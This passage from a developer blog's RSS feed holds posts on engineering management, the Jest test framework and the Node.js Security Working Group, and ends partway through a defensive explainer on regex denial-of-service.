&lt;p&gt;Engagement: it’s easy to get distracted into the technical stuff, code reviews, technologies etc, but I believe that for developers to build great products they really need to understand the customers, pains, context, etc. therefore product and customer engagement is key.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Empowerment and Mentoring: at the end of the day people are people and not robots or resources. They want to be recognized and appreciated, they want to be challenged, learn and explore new things. They need a fostering environment where they feel safe to take risks, consult, evaluate and a mentor that guides/supports them through the process they are making.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;What do you think?
What other key items would you evaluate?&lt;/p&gt;</content:encoded></item><item><title>Reasons to Love Jest: The Developer Experience</title><link>https://lirantal.com/blog/reasons-to-love-jest-the-developer-experience-b00ec93df7bb/</link><guid>https://lirantal.com/blog/reasons-to-love-jest-the-developer-experience-b00ec93df7bb/</guid><description>Oh yes. The Developer Experience with Jest is transforming the act of writing tests from a chore to hell of a fun time, promise! 🤓</description><pubDate>Thu, 28 Jun 2018 05:50:45 GMT</pubDate><content:encoded>&lt;p&gt;Oh yes. The Developer Experience with Jest is transforming the act of writing tests from a chore to hell of a fun time, promise! 🤓&lt;/p&gt;
&lt;p&gt;This post is a follow-up from my previous post about Jest’s Framework:&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://medium.com/p/ae19b49c02c3/&quot; title=&quot;https://medium.com/p/ae19b49c02c3/&quot;&gt;&lt;strong&gt;Reasons to Love Jest: The Test Framework - Liran Tal - Medium&lt;/strong&gt;&lt;br&gt;
_I really enjoy writing tests, and Jest takes it to a whole new level. It’s like I get up in the morning and ask myself…_medium.com&lt;/a&gt;&lt;a href=&quot;https://medium.com/p/ae19b49c02c3/&quot;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/1__BImt6BeBv2SHXWsiblU6Fw.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;h3 id=&quot;the-logo&quot;&gt;The Logo&lt;/h3&gt;
&lt;p&gt;Aww, the logo. Isn’t it just good?&lt;br&gt;
Like it’s trying to tell you “are you gonna write tests? this is gonna be fun!”&lt;br&gt;
And just like that it lures you in&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/1__YWAE08oNqUDG9lAj5x0qhw.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;Ok but seriously though, I just needed an item on the left-side to sort of align the rest of the items. Forgive me 🤷‍.️&lt;/p&gt;
&lt;p&gt;An anecdote on the logo if you will — &lt;br&gt;
Recently I learned the Jest logo was created in a last minute sketch up by &lt;a href=&quot;https://medium.com/u/9d26c4a319d4&quot;&gt;James Pearce&lt;/a&gt; where he iterated over several options (&lt;a href=&quot;https://twitter.com/jamespearce/status/1011494561682620416&quot;&gt;twitter reference&lt;/a&gt;) but more amusingly &lt;a href=&quot;https://medium.com/u/9ea60eb6fc7c&quot;&gt;Christoph Nakazawa&lt;/a&gt; mentioned that the … circles positioned next to each other reminds him of a loading animation which is correlated with slowness :-)&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/1__EBVLbY31axYj7tuorTM9mg.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;h3 id=&quot;visual-diff-and-effective-verbosity&quot;&gt;Visual Diff and Effective Verbosity&lt;/h3&gt;
&lt;p&gt;A big part of good developer experience is increasing your productivity.&lt;br&gt;
When it comes to testing, when tests fail, you want to quickly identify what went wrong with the test.&lt;/p&gt;
&lt;p&gt;Take this code snippet for example:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/1__sJ4jlKiMDVrYtUj__kPcfPA.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;It has a typo in the test’s source code.&lt;br&gt;
This is how Jest would show the error in the console:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/1__wDZ6jaMpLdVP4z__3EleJsQ.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;It provides great context into the actual file, the line number, and arrows to point to the exact problem and colors the code with a syntax highlighter too.&lt;/p&gt;
&lt;p&gt;Are you going to compare two objects in your assertions?&lt;br&gt;
No problem at all. Jest is so verbose that it will show this great diff even for nested keys that are different between the objects you’re comparing:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/1__GjwLHmZwGBzc2dvWXShf3Q.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;side note&lt;/strong&gt;: Jest has been made very modular and many of its capabilities were moved out to individual modules that the community can make use of.&lt;/p&gt;
&lt;p&gt;If you fancy the above diff’ing you can use it in your own project, see here: &lt;a href=&quot;http://jestjs.io/docs/en/jest-platform.html#jest-diff&quot;&gt;http://jestjs.io/docs/en/jest-platform.html#jest-diff&lt;/a&gt;&lt;/p&gt;
&lt;h3 id=&quot;relaxed-conventions&quot;&gt;Relaxed Conventions&lt;/h3&gt;
&lt;h4 id=&quot;test-suites-conventions&quot;&gt;Test suites conventions&lt;/h4&gt;
&lt;p&gt;If you’re coming from different test runners or frameworks, you’ll know that they differ in their test suites syntax.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/1__qCglC7g6xU__r2Nmd4Zsh0A.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;Some use &lt;strong&gt;&lt;em&gt;describe.only()&lt;/em&gt;&lt;/strong&gt;, in others you can only have &lt;strong&gt;_test().&lt;br&gt;
_&lt;/strong&gt;In some of them you disable a test by &lt;strong&gt;&lt;em&gt;test.skip()&lt;/em&gt;&lt;/strong&gt; while in others it’s &lt;strong&gt;&lt;em&gt;xit()&lt;/em&gt;&lt;/strong&gt;&lt;em&gt;.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;With Jest, it doesn’t matter.&lt;br&gt;
It does its best to optimize productivity instead of strict conventions.&lt;/p&gt;
&lt;p&gt;You can write &lt;strong&gt;&lt;em&gt;test()&lt;/em&gt;&lt;/strong&gt;, or a nested &lt;strong&gt;describe()&lt;/strong&gt; &lt;em&gt;and&lt;/em&gt; &lt;strong&gt;test(),&lt;/strong&gt; or just use &lt;strong&gt;_it().&lt;br&gt;
_No brainer.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/1__sRdX97yxaO6greiRoBJS0A.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;Which file naming convention should you use for tests?&lt;br&gt;
Who cares! 😜&lt;/p&gt;
&lt;p&gt;Jest will automatically pick up any &lt;strong&gt;&lt;em&gt;*.test.js&lt;/em&gt;&lt;/strong&gt; or &lt;strong&gt;&lt;em&gt;*.spec.js&lt;/em&gt;&lt;/strong&gt; file extensions, as well as any files in a &lt;strong&gt;&lt;em&gt;__tests__&lt;/em&gt;&lt;/strong&gt; directory.&lt;/p&gt;
&lt;h4 id=&quot;friendly-cli&quot;&gt;Friendly CLI&lt;/h4&gt;
&lt;p&gt;Jest has a friendly CLI that will help you figure out what you mean incase of spaghetti fingers:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/1__I6F__p1sfSWpKoKX5KplcZw.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;Sure, it’s not a time travel but it’s another corner stone in Jest’s productivity boosting and developer friendliness.&lt;/p&gt;
&lt;p&gt;It’s the little things that matter the most.&lt;/p&gt;
&lt;h4 id=&quot;test-doubles&quot;&gt;Test Doubles&lt;/h4&gt;
&lt;p&gt;In automated testing, where we write and execute unit and integration tests, it is a common practice to make use of different kinds of test doubles to isolate different parts of the system.&lt;/p&gt;
&lt;p&gt;There are different methods of isolation with different goals and behaviors, but they are all collectively referred to as test doubles.&lt;/p&gt;
&lt;p&gt;Where as other libraries like Sinon require you to explicitly declare and choose a type of a test double for your test (a stub, a mock, a spy), Jest wraps everything into a single entry point called the Mock object (jest.fn).&lt;/p&gt;
&lt;p&gt;The Mock is accessed and used in different ways through the test code, still essentially you don’t need to bother yourself with such decisions in your test code about types of test doubles. It’s another productivity gain with Jest.&lt;/p&gt;
&lt;p&gt;That said, you should still understand testing principles.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Suggested reading about Test Doubles in Martin Fowler’s blog: &lt;a href=&quot;https://martinfowler.com/bliki/TestDouble.html&quot;&gt;https://martinfowler.com/bliki/TestDouble.html&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 id=&quot;immersive-watchmode&quot;&gt;Immersive Watch Mode&lt;/h3&gt;
&lt;p&gt;Some benefits of Jest’s watch mode that streamlines your development workflow:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The obvious being — instantly running tests as changes occur (in the IDE, or say you switch a branch).&lt;/li&gt;
&lt;li&gt;Jest resolves which tests to run automatically for you.&lt;br&gt;
It manages metadata about your source code so it can learn how to run only the relevant test files when a source code file is changed.&lt;/li&gt;
&lt;li&gt;Jest’s interactive watch mode will show you if you’re filtering for any file types. For example, if you ran jest with a specific glob path, it will display it as an active filter:&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/1__11AevdkhAA2s0hsaHYObkQ.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;No longer test.only() making it into your test code, and accidentally slipping into your PR. With Jest you can easily filter a test run by it’s filename or test name straight from the console. So just filter by the test name, and only it will get re-run whenever you make changes to the test file:&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/1__D__YqHsu4xnSoGMSlCTn1qg.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;Other things you should know about the test runner:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Jest will run the slowest tests first to optimize for parallel CPU work and decrease overall test run times.&lt;/li&gt;
&lt;li&gt;Jest will run previously failing tests first to provide a quick feedback loop&lt;/li&gt;
&lt;li&gt;Jest will pick the order of tests to run so you should definitely not have an expectation that they will run alphabetically, or any other fashion.&lt;br&gt;
For you, they run completely random and it would be a bad practice to have test files named &lt;em&gt;01_loginFucntions.spec.js&lt;/em&gt;, &lt;em&gt;02_createUsers.spec.js&lt;/em&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;So what do you like about the developer experience when using Jest?&lt;/p&gt;</content:encoded></item><item><title>Reasons to Love Jest: The Test Framework</title><link>https://lirantal.com/blog/reasons-to-love-jest-the-test-framework-ae19b49c02c3/</link><guid>https://lirantal.com/blog/reasons-to-love-jest-the-test-framework-ae19b49c02c3/</guid><description>We had Tape, Mocha, Ava, and now Jest. Let’s see what this is all about!</description><pubDate>Wed, 20 Jun 2018 11:56:15 GMT</pubDate><content:encoded>&lt;p&gt;We had Tape, Mocha, Ava, and now Jest. Let’s see what this is all about!&lt;/p&gt;
&lt;p&gt;I enjoy writing tests, but Jest takes it to a whole new level.&lt;br&gt;
It’s like I get up in the morning and ask myself:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;what new app am I going to build today?&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;I need something to write some jests tests for&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/1__QKkubXXqtWXqhE8PwUAPjA.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;I love Jest for many reasons and this is the first of several posts where I’ll share why I really like it, so let’s get started.&lt;/p&gt;
&lt;h3 id=&quot;zero-configuration&quot;&gt;Zero Configuration&lt;/h3&gt;
&lt;p&gt;Jest follows the #0CJS practices for Zero Configuration, where even though it is extendible with many configuration variables, it just works out of the box and you don’t need to configure anything special.&lt;/p&gt;
&lt;p&gt;Think &lt;strong&gt;Webpack4&lt;/strong&gt;, &lt;strong&gt;Parcel&lt;/strong&gt;, &lt;strong&gt;Create React App&lt;/strong&gt; — this is a practice that many projects have been following recently so it shouldn’t be news and Jest embraces it whole heartedly.&lt;/p&gt;
&lt;p&gt;What 0CJS boils down to:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;One&lt;/strong&gt; &lt;strong&gt;dependency&lt;/strong&gt; — just install Jest&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Mocking&lt;/strong&gt; is built in, no need to install testdoubles libraries like proxyquire, sinon, testdouble, or others.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Assertions&lt;/strong&gt; are built in, no need to install Chai, Should.js, or others. Jest ships with a good basis of what it refers to as Matchers to assert expectations.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Code coverage&lt;/strong&gt; ? Built-in.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;fast-like-ava-sane-like-therest&quot;&gt;Fast Like Ava, Sane Like The Rest&lt;/h3&gt;
&lt;p&gt;Oh Ava my love!&lt;/p&gt;
&lt;p&gt;I jumped from Mocha to &lt;a href=&quot;https://github.com/avajs/ava&quot;&gt;Ava.js&lt;/a&gt; a few years back and it has been an interesting ride. With Ava, it’s not about the tooling but rather the philosophy and test practices it promotes — no shared state between any tests.&lt;/p&gt;
&lt;p&gt;This is however, not an easy task to follow.&lt;br&gt;
Let’s see a crude example — Say your app behaves differently depending on an environment variable like &lt;strong&gt;&lt;em&gt;NODE_ENV&lt;/em&gt;&lt;/strong&gt; (not a far fetched example) and you want to test it in different conditions:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/1__OqcDUJyAVchnir__tTjuh6g.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;See the pitfall?&lt;/p&gt;
&lt;p&gt;With Ava, the two test cases are executed concurrently, which will lead to a situation where by the time the first test case enters the service promise, the second test case already ran and changed the global variable’s value to &lt;em&gt;production.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Some of these pitfalls are not uncommon across test code—global variables, singletons which are the basis for Node.js module system, or integration tests where managing state between test cases is part of a flow.&lt;/p&gt;
&lt;p&gt;All of which are bad test patterns and should be avoided as Ava encourages, but we often find ourselves in these situations.&lt;/p&gt;
&lt;h3 id=&quot;extensible-framework&quot;&gt;Extensible Framework&lt;/h3&gt;
&lt;p&gt;There’s a great talk about Jest As a Platform by Rogelio Guzman which I highly recommend you to watch:&lt;/p&gt;
&lt;p&gt;But even without diving into the internals of the Jest project and how the platform is built -&lt;/p&gt;
&lt;p&gt;Jest’s matchers (assertions, such as &lt;em&gt;expect().toBe(1)&lt;/em&gt;) are easily extendible and help make your code more readable and concise without requiring you to use any of the language constructs.&lt;/p&gt;
&lt;p&gt;For example, while Jest matchers give you out of the box things like:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;.toBeTruthy()&lt;/li&gt;
&lt;li&gt;.toHaveBeenCalled()&lt;/li&gt;
&lt;li&gt;.toBeGreaterThan(number)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;With the &lt;a href=&quot;https://github.com/jest-community/jest-extended&quot;&gt;jest-extended&lt;/a&gt; package installed you also win the following matchers:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Arrays&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;.toBeArrayOfSize()&lt;/li&gt;
&lt;li&gt;.toBeArray()&lt;/li&gt;
&lt;li&gt;.toIncludeAllMembers([members])&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Numbers&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;.toBeEven()&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Objects&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;.toContainKey(key)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/jest-community/jest-extended&quot; title=&quot;https://github.com/jest-community/jest-extended&quot;&gt;&lt;strong&gt;jest-community/jest-extended&lt;/strong&gt;&lt;br&gt;
_jest-extended - Additional Jest matchers 🃏💪_github.com&lt;/a&gt;&lt;a href=&quot;https://github.com/jest-community/jest-extended&quot;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h3 id=&quot;codemods&quot;&gt;Codemods&lt;/h3&gt;
&lt;p&gt;Imagine you have an existing code-base written in one test framework and you’d want to move to another framework. How would you do it?&lt;/p&gt;
&lt;p&gt;Codemods are programs that help you automate work for transforming your code-base, and can largely be categorized in the following levels of maturity:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Search and replace&lt;/li&gt;
&lt;li&gt;Apply regular expressions for smarter search and replace&lt;/li&gt;
&lt;li&gt;Apply Abstract Syntax Tree (AST) transformations from one language syntax to another.&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;Codemods aren’t really specific to Jest but they make the job easy when you need to migrate existing projects.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;I wrote an article that documented this process on a small project if you’re into the process:&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://medium.com/@liran.tal/migrating-a-mocha-project-to-jest-test-framework-76d13d76685&quot; title=&quot;https://medium.com/@liran.tal/migrating-a-mocha-project-to-jest-test-framework-76d13d76685&quot;&gt;&lt;strong&gt;Migrating a Mocha project to Jest Test Framework&lt;/strong&gt;&lt;br&gt;
_I like mocha just like the next guy, but sometimes it’s time to move on. We’re talking about iced coffee, right?_medium.com&lt;/a&gt;&lt;a href=&quot;https://medium.com/@liran.tal/migrating-a-mocha-project-to-jest-test-framework-76d13d76685&quot;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;And of course, the jest-codemods repository that will get you going:&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/skovhus/jest-codemods&quot; title=&quot;https://github.com/skovhus/jest-codemods&quot;&gt;&lt;strong&gt;skovhus/jest-codemods&lt;/strong&gt;&lt;br&gt;
_jest-codemods - Codemods for migrating to Jest https://github.com/facebook/jest 👾_github.com&lt;/a&gt;&lt;a href=&quot;https://github.com/skovhus/jest-codemods&quot;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;I’d be happy to hear what are your reasons to love Jest.&lt;/p&gt;
&lt;p&gt;There’s a second part that I’ll share soon — &lt;br&gt;
“Reasons to love Jest: Developer Experience”&lt;/p&gt;
&lt;p&gt;Stay tuned!&lt;/p&gt;</content:encoded></item><item><title>Meet the Node.js Security Working Group</title><link>https://lirantal.com/blog/meet-the-node-js-security-working-group-30b9f00b678/</link><guid>https://lirantal.com/blog/meet-the-node-js-security-working-group-30b9f00b678/</guid><description>In this post I would like to acquaint you with the work being done by the Node.js Security Working Group (WG) and how we’re improving the…</description><pubDate>Thu, 31 May 2018 15:00:24 GMT</pubDate><content:encoded>&lt;p&gt;In this post I would like to acquaint you with the work being done by the Node.js Security Working Group (WG) and how we’re improving the state of security for the Node.js ecosystem.&lt;/p&gt;
&lt;h3 id=&quot;security-of-nodecore&quot;&gt;Security of Node Core&lt;/h3&gt;
&lt;p&gt;With respect to Security of Node Core, the Working Group members do not manage the triage and security releases (the project has a smaller team with access to do this), but instead it helps to define and document the processes that are followed. For example:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;helping to define and document how CVE’s are managed&lt;/li&gt;
&lt;li&gt;adopting HackerOne as a vulnerability management platform&lt;/li&gt;
&lt;li&gt;defining overall processes. You can read more about some of these processes here: &lt;a href=&quot;https://github.com/nodejs/security-wg/tree/master/processes&quot;&gt;https://github.com/nodejs/security-wg/tree/master/processes&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;security-of-nodejs-modules-in-the-overall-ecosystem&quot;&gt;Security of Node.js Modules in the overall ecosystem&lt;/h3&gt;
&lt;p&gt;The Node.js Security Project provides a unified process for discovering and disclosing security vulnerabilities found in the Node.js module ecosystem, which has been carried on by this working group today (this was one of the motivations for forming the Working Group)&lt;/p&gt;
&lt;p&gt;The Working Group has defined processes for reporting vulnerabilities in modules within the ecosystem, works with module authors to ensure they are addressed and maintains a public database of vulnerabilities. You can read more about this work here: &lt;a href=&quot;https://github.com/nodejs/security-wg/blob/master/processes/third_party_vuln_process.md&quot;&gt;https://github.com/nodejs/security-wg/blob/master/processes/third_party_vuln_process.md&lt;/a&gt;.&lt;/p&gt;
&lt;h3 id=&quot;getting-involved&quot;&gt;Getting Involved&lt;/h3&gt;
&lt;p&gt;The Node.js Security WG is composed of members of the Node.js Foundation who mostly have affiliation with security initiatives, or other relevant background. If you have a passion for security and want to help out, please get involved.&lt;/p&gt;
&lt;p&gt;We meet regularly, on a monthly basis to discuss items on the agenda.The session is live broadcasted, via the &lt;a href=&quot;https://www.youtube.com/channel/UCQPYJluYC_sn_Qz_XE-YbTQ&quot;&gt;Node.js Foundation YouTube channel&lt;/a&gt;, and we welcome anyone to join for updates or bring up matters to discuss.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;You’re welcome to review our last WG Agenda &lt;a href=&quot;https://github.com/nodejs/security-wg/blob/master/meetings/2018-05-17.md&quot;&gt;meeting notes&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/1__6Z__r6ClfhG__zRReamDGatw.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;h3 id=&quot;diving-deeper-into-some-of-the-initiatives&quot;&gt;Diving Deeper into some of the Initiatives&lt;/h3&gt;
&lt;h3 id=&quot;scope--responsibilities&quot;&gt;Scope &amp;#x26; Responsibilities&lt;/h3&gt;
&lt;p&gt;The Node.js Security WG’s set of responsibilities and scope is well documented in our &lt;a href=&quot;https://github.com/nodejs/security-wg&quot;&gt;repository&lt;/a&gt;, and can be classified into the following two high-level initiatives:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Improving the state of the Node.js Security Module Ecosystem — Through the creation of many initiatives, policies, and processes that we’ll review later in the article.&lt;/li&gt;
&lt;li&gt;Governing Responsible Disclosure Programs for Node.js and the npm ecosystem — building a dedicated team, setting up relevant policies, and processes to enable security researchers to report vulnerabilities found in third party Node.js modules (npm).&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The first initiative is being handled largely in an open matter through the &lt;a href=&quot;https://github.com/nodejs/security-wg/issues&quot;&gt;issue queue&lt;/a&gt;, or agenda meetings, while the second is managed behind a vale of discretion to protect users from a publicly made vulnerability report which could expose them to malicious attackers.&lt;/p&gt;
&lt;p&gt;Let’s further expand on some of the initiatives from the above.&lt;/p&gt;
&lt;h3 id=&quot;a-responsible-disclosure-program-for-the-nodejs-ecosystem&quot;&gt;A Responsible Disclosure Program for the Node.js Ecosystem&lt;/h3&gt;
&lt;p&gt;Providing a platform for bug hunters and security researchers to safely report vulnerabilities in third party modules for Node.js is essential.&lt;/p&gt;
&lt;p&gt;We have established official channels of communication, namely through the HackerOne platform, and policies to handle vulnerabilities.&lt;/p&gt;
&lt;p&gt;This extends to module authors as well, which are now able to discreetly engage in such vulnerability reports and work out a fix and release without the vulnerability being public before a patch is introduced and provided to users. This is defined as a responsible disclosure program.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/1__YlHpEHBSqzEwF8Vz2FdlRg.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;We set guidelines and policy for how the process looks like when a vulnerability is reported. You can read more about them in: &lt;a href=&quot;https://github.com/nodejs/security-wg/blob/master/processes/third_party_vuln_process.md&quot;&gt;Third-Party Vulnerability Reporting Process&lt;/a&gt;&lt;/p&gt;
&lt;h4 id=&quot;a-responsible-disclosure-program-for-nodejscore&quot;&gt;A Responsible Disclosure Program for Node.js Core&lt;/h4&gt;
&lt;p&gt;The Node.js Core security group also uses a responsible disclosure program. All security bugs in Node.js are taken seriously and should be reported via &lt;a href=&quot;https://hackerone.com/nodejs&quot;&gt;HackerOne&lt;/a&gt; or by emailing &lt;a href=&quot;mailto:security@nodejs.org&quot;&gt;security@nodejs.org&lt;/a&gt;. This will be delivered to a subset of the core team who handle security issues.&lt;/p&gt;
&lt;h3 id=&quot;bug-bountyprogram&quot;&gt;Bug Bounty Program&lt;/h3&gt;
&lt;p&gt;The Node.js project engages in an official bug bounty program for security researchers and responsible public disclosures. The program is managed through the HackerOne platform. More on how Node.js Core handles security policies &lt;a href=&quot;https://nodejs.org/en/security/&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;
&lt;h3 id=&quot;the-securitymd-badge&quot;&gt;The SECURITY.md Badge&lt;/h3&gt;
&lt;p&gt;Having a security policy in your project’s repository can go a long way in communicating to your users how much you value and prioritize security.&lt;/p&gt;
&lt;p&gt;If someone found a security problem with your Node.js module, how should they report it? Who should you contact? What if they can’t reach the maintainer? What if they want to stay anonymous?&lt;/p&gt;
&lt;p&gt;As a module maintainer you can easily provide these details to your users by embracing a &lt;em&gt;SECURITY.md&lt;/em&gt; file that you can &lt;a href=&quot;https://github.com/nodejs/security-wg/blob/e2c03e62d73635a766156c6ea4f9aefb35c04603/processes/responsible_disclosure_template.md&quot;&gt;copy from the template the Security Working Group&lt;/a&gt; provides.&lt;/p&gt;
&lt;p&gt;Furthermore, adding the security badge on your repository will send a positive message to your users that you are seriously committed to security concerns.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/1__YR7d2GtcCqjPdcv28M6r3A.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;Stay tuned for follow-up posts into the activities of the Working Group!&lt;/p&gt;
&lt;h3 id=&quot;feedback&quot;&gt;Feedback!&lt;/h3&gt;
&lt;p&gt;Whether you’re a module author, a security researcher or an end-user, your feedback is important and we want to hear from you on how we can improve, and what are painful areas that we can further engage on.&lt;/p&gt;
&lt;p&gt;We also invite you to join us on an open slack channel: &lt;a href=&quot;https://nodejs-security-wg.herokuapp.com/&quot;&gt;https://nodejs-security-wg.herokuapp.com/&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Also, stay tuned as we’ll be providing more insights into the activities of this group, later on!&lt;/p&gt;</content:encoded></item><item><title>How a RegEx can bring your Node.js service down</title><link>https://lirantal.com/blog/node-js-pitfalls-how-a-regex-can-bring-your-system-down-cbf1dc6c4e02/</link><guid>https://lirantal.com/blog/node-js-pitfalls-how-a-regex-can-bring-your-system-down-cbf1dc6c4e02/</guid><description>The use of Regular Expressions (RegEx) is quite common among software engineers and DevOps or IT roles where they specify a string pattern…</description><pubDate>Mon, 14 May 2018 13:26:05 GMT</pubDate><content:encoded>&lt;p&gt;The use of Regular Expressions (RegEx) is quite common among software engineers and DevOps or IT roles where they specify a string pattern to match a specific string in a text.&lt;/p&gt;
&lt;p&gt;Often, programmers will use RegEx to validate that an input received from a user conforms to an expected condition. For example:&lt;/p&gt;
&lt;p&gt;Testing that a user’s provided e-mail address is valid:&lt;/p&gt;
&lt;h3 id=&quot;what-does-it-have-to-do-withnodejs&quot;&gt;What does it have to do with Node.js?&lt;/h3&gt;
&lt;p&gt;The risk that is inherent with the use of Regular Expressions is the computational resources that require to parse text and match a given pattern.&lt;/p&gt;
&lt;p&gt;A flawed Regular Expression pattern can be attacked in a manner where a provided user input for text to match will require an outstanding amount of CPU cycles to process the RegEx execution.&lt;/p&gt;
&lt;p&gt;Such an attack will render a Node.js or JavaScript application unresponsive, and thus is referred to as a ReDoS — Regular Expression Denial of Service.&lt;/p&gt;
&lt;h3 id=&quot;let-me-show-you-why-regex-is-a-naughty-word-in-ouroffice&quot;&gt;Let me show you why RegEx is a naughty word in our office&lt;/h3&gt;
&lt;p&gt;Say you’re building a music app and you want to validate song titles.&lt;/p&gt;
&lt;p&gt;We need to match words, numbers, and spaces.&lt;br&gt;
So you give the regex a few tries and come up with the following:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/1__vWVy62j__IBc4uIk6Ai__xkw.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;Maybe it’s not the perfect regex (&lt;strong&gt;&lt;em&gt;hint&lt;/em&gt;&lt;/strong&gt;: it isn’t).&lt;br&gt;
But hey, it works.&lt;/p&gt;
&lt;p&gt;I tested a few song titles and yeah, &lt;strong&gt;ready to push to production, woohoo!&lt;/strong&gt; 🎉&lt;/p&gt;
&lt;p&gt;Until a Britney Spears fan plays a joke on your app and enters the following song title as input:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/1__HNdzrGsLzrebjEEN5a5F0w.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Catastrophic backtracking.&lt;/strong&gt;&lt;br&gt;
Even if you have no clue what that is, sure sounds scary. And it’s in red too!&lt;/p&gt;
&lt;p&gt;Curious to see what it means when you have this little RegEx gem in your Node.js code?&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/1__dgthVybmyyiYDKgNjXGTzA.gif&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;A relatively small input string was able to block the Node.js event-loop for about 6 seconds, during which time it consumed 99% cpu power.&lt;/p&gt;
&lt;p&gt;Not exactly what you want to do on a single-threaded web application server.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/1____McPazIiq62BxOpnJNYsgA.gif&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;tip: try that RegEx pattern on regex101.com and use their regex debugger to see what’s going on.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 id=&quot;what-now&quot;&gt;What now?&lt;/h3&gt;
&lt;p&gt;My number one rule is avoid writing RegEx on your own, but following are the alternatives I am suggesting.&lt;/p&gt;
